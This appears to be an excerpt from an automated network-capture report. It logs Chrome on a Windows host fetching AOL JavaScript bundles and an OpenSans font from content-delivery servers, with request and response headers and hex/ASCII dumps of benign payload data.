2024-05-23 22:34:36 UTC	1011	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 888243 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:36 GMT Etag: "5d4589fcc2e985fc63e2cdaccffc0f59" Last-Modified: Mon, 13 May 2024 15:41:13 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/3586) Vary: Accept-Encoding x-amz-id-2: 2462Z3EeMeRRi0mxGBhqHdwhTAiY7wHwx/XQQknZuwAMeP1KhUrPABzdBQpxXsQ8bVbfs/FIQHc= x-amz-replication-status: COMPLETED x-amz-request-id: EAFR4KB2VCRRKZD3 x-amz-server-side-encryption: AES256 x-amz-version-id: M4zy2IskPnUBWDKP58YYE1CB46G43_6a X-Cache: HIT Content-Length: 32809 Connection: close
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 2d 67 6c 69 64 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 43 41 41 53 5f 41 4f 4c 43 4f 4d 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 34 31 34 5d 2c 7b 34 31 33 34 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 65 2c 6e 29 7b 69 66 28 65 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 72 3d 65 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 Data Ascii: /! For license information please see vendor-glide.js.LICENSE.txt /(self.webpackChunkCAAS_AOLCOM=self.webpackChunkCAAS_AOLCOM\|\|[]).push([[3414],{4134:function(t){function e(t,e,n){if(e&&!Array.isArray(e)&&"number"==typeof e.length){var r=e.length;retur
2024-05-23 22:34:36 UTC	1	IN	Data Raw: 6e Data Ascii: n
2024-05-23 22:34:36 UTC	16383	IN	Data Raw: 3d 74 2e 73 65 74 74 69 6e 67 73 3b 72 65 74 75 72 6e 20 69 3f 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 30 6d 73 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 61 6e 69 6d 61 74 69 6f 6e 54 69 6d 69 6e 67 46 75 6e 63 29 3a 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 22 29 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 64 75 72 61 74 69 6f 6e 2c 22 6d 73 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 61 6e 69 6d 61 74 69 6f 6e 54 69 6d 69 6e 67 46 75 6e 63 29 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 22 74 72 61 6e 73 66 6f 72 6d 22 3b 65 2e 48 74 6d 6c 2e 77 72 61 70 70 65 72 2e 73 74 79 6c Data Ascii: =t.settings;return i?"".concat(e," 0ms ").concat(n.animationTimingFunc):"".concat(e," ").concat(this.duration,"ms ").concat(n.animationTimingFunc)},set:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"transform";e.Html.wrapper.styl
2024-05-23 22:34:36 UTC	42	IN	Data Raw: 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 76 65 6e 64 6f 72 2d 67 6c 69 64 65 2e 6a 73 2e 6d 61 70 Data Ascii: ;//# sourceMappingURL=vendor-glide.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49763	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	569	OUT	GET /caas-assets-production/assets/v1/polyfills.570a7e8b6540e7fd.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	636	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167539 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:36 GMT Etag: "570a7e8b6540e7fdbd6d0a32b502f75c" Last-Modified: Thu, 15 Feb 2024 16:48:06 GMT Server: ECAcc (lhd/35EB) Vary: Accept-Encoding x-amz-id-2: RkQjeoTK5vugzsMW2gsHf11mKHhCEi//stlPWuV/beepWJbBtP/nQeoIZFNDOJS5Gl4Kr8rSMPg= x-amz-replication-status: COMPLETED x-amz-request-id: 3MYNR3TZMJMB65TD x-amz-server-side-encryption: AES256 x-amz-version-id: igFc9fJ4uEYuczv8QYcKGMobz10BcI0x X-Cache: HIT Content-Length: 19005 Connection: close
2024-05-23 22:34:36 UTC	15766	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 74 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var
2024-05-23 22:34:36 UTC	3239	IN	Data Raw: 7c 22 22 2c 65 3d 6e 65 77 20 68 2c 74 2e 72 65 70 6c 61 63 65 28 2f 5c 72 3f 5c 6e 5b 5c 74 20 5d 2b 2f 67 2c 22 20 22 29 2e 73 70 6c 69 74 28 22 5c 72 22 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 22 5c 6e 22 29 3f 74 2e 73 75 62 73 74 72 28 31 2c 74 2e 6c 65 6e 67 74 68 29 3a 74 7d 29 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 28 22 3a 22 29 2c 6f 3d 72 2e 73 68 69 66 74 28 29 2e 74 72 69 6d 28 29 3b 69 66 28 6f 29 7b 76 61 72 20 6e 3d 72 2e 6a 6f 69 6e 28 22 3a 22 29 2e 74 72 69 6d 28 29 3b 74 72 79 7b 65 2e 61 70 70 65 6e 64 28 6f 2c 6e 29 7d 63 61 74 63 68 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 Data Ascii: \|"",e=new h,t.replace(/\r?\n[\t ]+/g," ").split("\r").map((function(t){return 0===t.indexOf("\n")?t.substr(1,t.length):t})).forEach((function(t){var r=t.split(":"),o=r.shift().trim();if(o){var n=r.join(":").trim();try{e.append(o,n)}catch(t){console.warn("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49766	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	565	OUT	GET /caas-assets-production/assets/v1/utils.9111c432fb133fce.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167529 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:36 GMT Etag: "9111c432fb133fce842e7e4cedff8354" Last-Modified: Thu, 15 Feb 2024 16:48:08 GMT Server: ECAcc (lhd/3585) Vary: Accept-Encoding x-amz-id-2: t8StKtVnbGsgcM5Ni4kofj2NZKh9yJyOgIJeME1Ovwgv2KWtCWsyKt4cuNzGpwqs4JWtzeDIGgY= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAGXTAC1B7NS5PD x-amz-server-side-encryption: AES256 x-amz-version-id: n4EBaCaYCOBjJY3G_hQQJr2AKjEpiaBK X-Cache: HIT Content-Length: 3809 Connection: close
2024-05-23 22:34:36 UTC	3809	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49769	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	580	OUT	GET /cv/apiv2/aolfp/fonts/opensans/VF/OpenSans-VF.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: Y+nih31fp8ckYHcHDPaT/8OTye3Z+/x70FJCVYWrKTs6FmUKI0vShRwAI8WoOSv6VVAcMjbk7Ao= x-amz-request-id: 59NYV3FE2N3CCPJ3 Date: Mon, 25 Mar 2024 15:18:45 GMT Last-Modified: Thu, 25 Jan 2024 20:48:08 GMT ETag: "65c46fe9fcc00bed9e63030c2a5ebaed" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 279080 Referrer-Policy: no-referrer-when-downgrade Age: 5123752 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 04 42 28 00 17 00 00 00 08 18 88 00 04 41 a9 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a bc 7b 1b 81 c7 76 1c 9e 06 3f 48 56 41 52 b9 78 06 60 3f 53 54 41 54 81 40 27 2c 00 87 76 2b 15 08 81 7c 09 9f 14 2f 81 44 11 10 0a 85 a5 10 84 cc 08 0b 91 6a 00 30 96 e0 2c 01 36 02 24 03 a3 4e 04 20 05 93 56 07 ce 6a 0c 85 1f 5b 84 e1 97 ad 16 32 95 f2 12 73 a6 ee 02 e0 37 dd da de 6c 8e a8 4a 6e 47 29 a0 40 54 ec cf bf 1e b2 88 86 80 f3 30 30 6d b5 3f 34 6e 50 63 0c 77 08 f0 a8 ae 6a 13 9c a1 c6 e1 7d c2 a8 b4 cf 61 6f 12 1e 21 8c 66 ff ff ff ff ff ff ff df 43 f2 e3 99 b3 de 7c cc cc 9f 4f 69 8a 0a 2a 22 26 62 8d 46 37 cd 94 cd 7a 7b 77 60 81 85 3a 1f 01 23 e4 88 63 26 96 9d 45 02 4e 15 c2 c8 22 e1 5c 2d fa Data Ascii: wOF2B(A{v?HVARx`?STAT@',v+\|/Dj0,6$N Vj[2s7lJnG)@T00m?4nPcwj}ao!fC\|Oi*"&bF7z{w`:#c&EN"\-
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: b6 64 e0 c4 89 43 4d 8a 94 e2 02 17 fd e7 73 ea ff 1f 43 52 c0 4f 8c 23 e2 d1 1f 01 41 74 9d 47 00 05 4e 6f 93 d6 01 72 1c 03 c9 16 59 84 96 0c 98 78 6d 83 68 ce e6 80 40 f0 60 16 c4 4a bf 40 a9 f8 03 2d 15 73 aa 7c cd e9 7f a1 79 a3 aa af 35 85 0a de 26 68 d0 a0 41 3c 40 e2 e0 49 b0 ec 0d 4f 53 ad 7f 02 1a 69 34 00 a4 d1 68 84 60 49 a6 d8 8e 13 2e a4 08 8b d8 fb bf f2 b8 7b f7 01 f1 90 f6 70 09 bb 50 58 28 a4 0d 82 e3 38 b6 a5 21 d2 cd bb 5f 09 49 80 10 92 00 01 92 0f 6b c9 da 1a 96 11 c2 98 22 45 0c c8 76 b0 15 50 d9 22 2e 02 88 38 ab b8 90 52 2b 0e 8a 9b e2 28 a2 38 22 a2 1b 54 90 29 0a e2 a2 54 03 d4 c3 ff 74 7f 52 d4 ac 92 e2 2d 35 33 20 79 aa 5f ea 56 5c 03 a4 72 67 a1 78 fa fb 7f bf 3a e4 8d e0 73 5f 28 9e 95 cc 00 8e e2 a1 a4 0f 70 77 19 40 53 ad Data Ascii: dCMsCRO#AtGNorYxmh@`J@-s\|y5&hA<@IOSi4h`I.{pPX(8!_Ik"EvP".8R+(8"T)TtR-53 y_V\rgx:s_(pw@S
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 5b 93 dd ad ef aa 2b b9 02 c6 8e 00 67 63 80 20 fc ee 9f be 3a e9 64 56 e2 17 ed bb 7a 90 79 26 84 0f f7 68 f2 72 df da aa 57 70 20 32 a5 01 8f e7 f9 9f ce fb 18 6b 08 85 11 7c 85 1b 6d 95 2d c7 27 42 1b 02 55 9e 3f 49 c0 3b 93 02 96 b2 57 79 c2 a3 00 52 2b 14 7f 9e 07 c6 61 ff 6d 3b 3a 2d 1e 81 04 79 42 bc e6 94 cf 15 50 24 43 60 58 ce bc db f6 fe 44 68 4a c4 a9 38 10 42 cc a8 f9 73 84 ca 60 75 bd 0d 87 30 82 20 9c c7 11 9c fa bf 9c 33 ce f5 66 2b 54 b0 40 0f 94 f9 ff bf df d3 f6 d9 72 ee 1b 95 3a 8e 78 53 4b 62 15 32 8b 50 4d 4b 98 3a 24 2b 55 2c 44 88 24 86 e4 ff df 6b b1 d4 4c d9 58 2c 0c 0b 42 08 81 65 e3 56 ef 4e a9 f5 9b c7 33 99 83 67 f2 25 93 24 e9 77 c9 2e 5d 32 e9 ba 24 49 9e 24 49 26 49 92 24 49 92 64 32 99 24 49 ba a7 cb 24 49 ba 2e 49 92 24 Data Ascii: [+gc :dVzy&hrWp 2k\|m-'BU?I;WyR+am;:-yBP$C`XDhJ8Bs`u0 3f+T@r:xSKb2PMK:$+U,D$kLX,BeVN3g%$w.]2$I$I&I$Id2$I$I.I$
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: fe ff 9b 6a 95 3e 73 eb 03 f8 90 38 a8 0b 02 07 ec a1 c6 ae 8b 36 88 ab e4 cf 6e 9b 6c a3 8d 02 b2 40 36 d5 c4 97 a3 d8 0e 4d 99 31 8e 3d 6b dc c9 b5 22 fa cb 63 8c 8b 56 9d 75 b8 c6 85 3e 49 36 8e 36 4b 39 1b 55 a8 90 9b 29 9c 70 a8 8a 45 cd d6 44 20 b2 8d 03 f7 ca 13 38 cf e1 96 c0 ac 92 10 9d ac de c3 a6 37 f0 fc ff 5c 69 f3 ee 6b 52 40 59 59 b9 b2 42 be 65 69 0b 98 59 04 57 96 84 6e 86 93 34 42 f5 8c aa cb 4f 81 6c cf a8 5a 06 27 46 56 ae 90 2b 54 cf aa 02 19 af d7 ff ff a5 cd de 37 93 fa 77 81 dd fe 28 55 ad a4 08 f3 d3 a4 9f 24 8f f6 87 36 43 2b 4d 6e 29 45 36 45 6b 36 27 2a ac 44 2a 12 45 f3 28 85 47 62 64 24 c2 c9 25 a8 5d 7c 70 80 81 b5 18 42 e4 c9 4d 14 60 40 f8 f2 33 2f fa 3c cf 9a 8c be ff e2 8f 0b a9 af dc a5 1d 83 81 98 b4 19 92 a1 28 54 36 Data Ascii: j>s86nl@6M1=k"cVu>I66K9U)pED 87\ikR@YYBeiYWn4BOlZ'FV+T7w(U$6C+Mn)E6Ek6'DE(Gbd$%]\|pBM`@3/<(T6
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 10 25 a8 a5 00 d5 d1 c0 be d8 d3 10 8d f5 db 51 92 43 44 d6 60 0d 26 85 d0 9f 11 70 70 47 ae fc cd 84 11 4f 5e 95 5f 4f ff d1 19 0d 5a 3f 24 6e 98 c6 67 23 d8 dd 4d 3c 3a 8d a2 05 19 ee 27 ad 99 60 99 82 53 d4 3f d9 32 61 88 e0 2c 95 cf 76 ff 8b e5 06 85 da ad 9d ff b0 76 c0 2d 79 ee fa a9 dd fe 00 7c ff e3 9e 18 f4 dc f8 d4 a5 bc 1a 0d 68 04 43 42 7e af 71 36 07 67 b7 20 13 25 02 96 22 4d 7b fe e4 92 b8 16 75 8d cf ed 28 c2 83 91 27 69 27 4a 39 98 80 3b 5d ce dc 6d cb e5 48 75 27 2b df b2 99 0d dc 6a 39 db 4d 5d 5a 00 90 e9 ec 95 b6 c2 0c 9c da b6 9c b5 de 98 35 a0 75 2b 67 36 54 f7 03 36 ce 44 b0 2b f2 0e da 90 f9 a0 19 29 2c 84 c6 4c 9c e1 58 e1 84 7e b9 8e 56 ea e0 08 4e 97 5b 3d c2 5c 0d c0 51 46 8b 1b 3e 65 82 9b 2c 94 3b fe 9f ef 0a 4a f5 e5 2b b6 Data Ascii: %QCD`&ppGO^_OZ?$ng#M<:'`S?2a,vv-y\|hCB~q6g %"M{u('i'J9;]mHu'+j9M]Z5u+g6T6D+),LX~VN[=\QF>e,;J+
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 9f df e3 d7 b0 09 ff 75 b3 70 a5 7e 36 02 a7 0a 36 53 40 06 72 58 d1 37 87 d0 1f 9e 68 6a 9b 7b 91 0f 3d 98 26 f1 59 0b 6d d1 51 87 c7 d4 45 24 4b 15 05 55 58 8f 0e 08 21 fd df ff fb e1 ee 0c 79 35 08 74 d9 7a 8f f3 81 6d 63 51 a7 f6 0e c2 8c 9a 08 e5 04 64 32 a8 64 d5 26 fd ed f6 67 ed ff 63 ee 80 c9 fc c8 44 8c 62 5e f4 78 24 a3 77 71 b2 82 49 8c 64 e9 82 2d 79 b0 91 5d 2d 5c 3f 51 b7 2a 7b 99 7e e7 17 ef e8 2f 61 dd ee fa 14 b4 b0 19 71 54 1e 4d 9c 15 74 51 a6 bf dd f9 d6 fa 28 eb 22 8a e7 f5 ab 42 01 1d 7c a8 5c d4 77 d1 85 37 10 81 d8 29 c9 17 0b 1b 80 64 07 b1 67 32 34 c9 c4 37 5d 4d 30 42 bc 80 4d fc 68 91 a0 64 71 1e cc 90 6c 51 0f 51 2c 21 33 ef bf 2c 0b a3 64 d9 bc 64 8a 30 79 2c 9a 91 69 29 26 44 c9 b8 7d 0f ba 54 b2 38 b2 b6 94 11 87 a6 89 09 Data Ascii: up~66S@rX7hj{=&YmQE$KUX!y5tzmcQd2d&gcDb^x$wqId-y]-\?Q*{~/aqTMtQ("B\|\w7)dg247]M0BMhdqlQQ,!3,dd0y,i)&D}T8
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: d8 69 d8 e8 4f f8 f6 03 3f 3b c6 fa eb 17 cd ff 0c de 1b a4 fb 62 e5 c1 ff 39 39 85 6e fa f8 ff 58 7a d0 2e 39 5f 32 d3 7b e8 c0 df 7b f4 bf 82 81 3a c1 5c f1 08 97 03 22 0c e8 1f 4b 1b 30 5f 87 5f f2 37 11 83 fd d7 91 1b 27 9e 6d f9 d6 37 7c ed 95 a3 46 19 d0 5b 43 a1 dd f4 20 a0 9f 75 f5 ff 05 29 02 7e 47 92 77 ff ea 0b 91 2d 18 28 2e 92 30 01 8b 54 ee 3e fe 0f b7 fc ca f3 3c cb fa e9 bf 7c cc ff 48 06 c2 e7 fe ed 3a 67 ce 96 a6 fe d2 1f bd 67 5e 46 40 fc af ff de 5d 3f 1b d2 e8 dc ef fd e1 6d df 8d f5 11 a2 ce 7e e1 4f 7f f7 86 ef e0 1d f4 f6 9f 7f f8 74 8c fd 20 c8 fe f2 8f af ff a6 95 07 71 7f fb eb 6f fb 66 43 f4 e2 3f 7e f9 f2 07 71 17 fa fb a9 f8 63 e2 23 0e 6a d5 a7 e8 07 d5 d9 7e fd f6 fd a7 46 7e 44 fd 47 ff d3 cd f1 f1 e1 6c f4 89 ff 61 61 cb Data Ascii: iO?;b99nXz.9_2{{:\"K0__7'm7\|F[C u)~Gw-(.0T><\|H:gg^F@]?m~Ot qofC?~qc#j~F~DGlaa
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 65 f1 12 68 b5 5e 70 2e 90 75 fa f1 f6 2e 95 d7 a2 f1 75 17 4a f4 b2 78 13 17 ae 84 e2 98 4c 09 f4 b7 ee 64 28 11 75 d9 5a 37 e7 d3 f2 07 0b 5c c3 39 e1 86 5c 2a 7e b8 b0 5f 40 93 ea a7 93 54 e6 09 4b fa e6 b6 d0 4f a8 97 bf 75 c7 9d e6 ef fc fd d4 85 e6 fd eb fe e3 2f 99 d4 3c ee d3 cc b4 fc fe 35 f1 83 c2 bb 97 3f 7f bf f1 26 13 9f 7d f9 e3 f7 7e 08 bc 77 8a d4 87 e5 bb c7 9d 35 77 bf fe b9 34 55 02 4b 7a 48 7c 57 89 19 32 a7 bb 4e b1 7f fa c7 b1 43 f3 68 20 3e f2 6d 46 26 3d f0 8b e3 92 c5 79 6e e8 24 c5 e5 d2 8a e5 ab 70 27 cb c1 f8 ec 13 4b 22 5c b2 d1 96 8a ed 81 d4 30 84 da 4a bb f2 ff ed f5 56 fe ef ff f5 ef 66 c7 a0 5f 94 e3 db 2d 6d 57 ef 54 72 a9 e9 ab bd d2 b2 91 8b b9 7a 1e 7f f5 4e 78 3a 49 e2 6b ac ce 33 32 28 ff 7c dd db 9f f9 0d bd 1f b8 Data Ascii: eh^p.u.uJxLd(uZ7\9\*~_@TKOu/<5?&}~w5w4UKzH\|W2NCh >mF&=yn$p'K"\0JVf_-mWTrzNx:Ik32(\|
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 8f 01 5e 85 2d e4 26 1d f4 2a fe a5 75 e2 82 df 80 54 bc 9e a4 16 45 22 63 b8 9f 06 cc fa ef 20 6e ef 98 74 71 51 4b 86 ba 14 28 5f f4 a5 31 44 2e 4e 82 6d 2c 2b 14 6f bb 3c 5b 7c 63 e7 0f 50 33 94 97 b2 c7 cc 7a 48 29 b1 29 60 e1 69 4e 68 3b fd 66 7c e5 62 da 39 22 e8 19 11 8e 18 c9 82 ea 40 3a 97 7e b1 e1 07 f1 85 f8 44 bc 17 af c5 73 f1 58 dc 17 77 c2 2d 70 0d 48 c5 92 bf e3 cf f1 eb f8 41 bc 17 af c5 73 e1 d8 c7 c9 e2 c7 8e 77 4e 37 00 18 d7 88 55 58 e3 ad 86 b0 46 ae 46 0a c4 fb d6 87 8f d5 84 cb f0 bc 33 22 b7 48 9f 42 e3 d4 e4 5e 3b fe 31 66 c8 fc 53 27 88 dc d2 47 4d 84 53 b4 6a c9 7b 81 c5 77 7c 2d 3e 17 0f c6 9d 70 23 58 49 b1 68 c6 5f e3 b7 f1 a3 f8 7a bc 12 f7 9d fd 62 49 d6 59 d1 f9 01 2a bc f6 20 51 12 06 17 64 e4 da 89 31 88 6e b6 31 91 4e Data Ascii: ^-&uTE"c ntqQK(_1D.Nm,+o<[\|cP3zH))`iNh;f\|b9"@:~DsXw-pHAswN7UXFF3"HB^;1fS'GMSj{w\|->p#XIh_zbIY Qd1n1N
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 57 30 76 86 35 0a 81 8b 17 8f db 67 60 18 86 bd 09 0f dc 23 65 4c 24 cc be 8f c9 0c d9 32 c6 b1 25 8e be 76 12 2c 54 4c 1c 6b fb b6 32 d7 2d 86 63 ab 71 3b f4 9d db 90 a8 32 c3 d9 4b cd 89 16 22 3c 74 30 6b e9 35 f0 40 8f 2d be 56 37 96 07 6e 8f 43 8b 8a d5 f6 a1 6a 2d d4 44 f6 53 45 c6 41 07 b3 81 b2 00 29 1d 1c 64 53 53 f2 d6 fd c5 b9 ac 31 61 73 65 81 15 84 80 4b 8d 5c 49 d6 61 b2 e9 57 b5 c0 38 49 3f 1a d2 94 85 a4 48 96 46 ee ba f9 96 7d 76 f5 93 8f 3c 3a d4 cf ad 5c c9 c9 1c 05 3e 22 89 91 20 12 10 d7 cd ed f5 f9 e1 9c ee c5 63 e2 e4 52 6f 55 1d ac d7 a1 7a 52 87 7e 9d f6 18 fe 7c d6 7f 72 b5 56 8b 24 6b f4 dc 66 35 8f a5 95 7b a0 ed 8b 59 a6 15 ef 60 4f 35 61 32 7e bb d8 b0 97 cf 9c 4e d3 ca 9f f3 78 7a e3 0c 4d 25 90 9a 22 c9 7b 60 6f e5 79 fa 86 Data Ascii: W0v5g`#eL$2%v,TLk2-cq;2K"<t0k5@-V7nCj-DSEA)dSS1aseK\IaW8I?HF}v<:\>" cRoUzR~\|rV$kf5{Y`O5a2~NxzM%"{`oy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49768	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
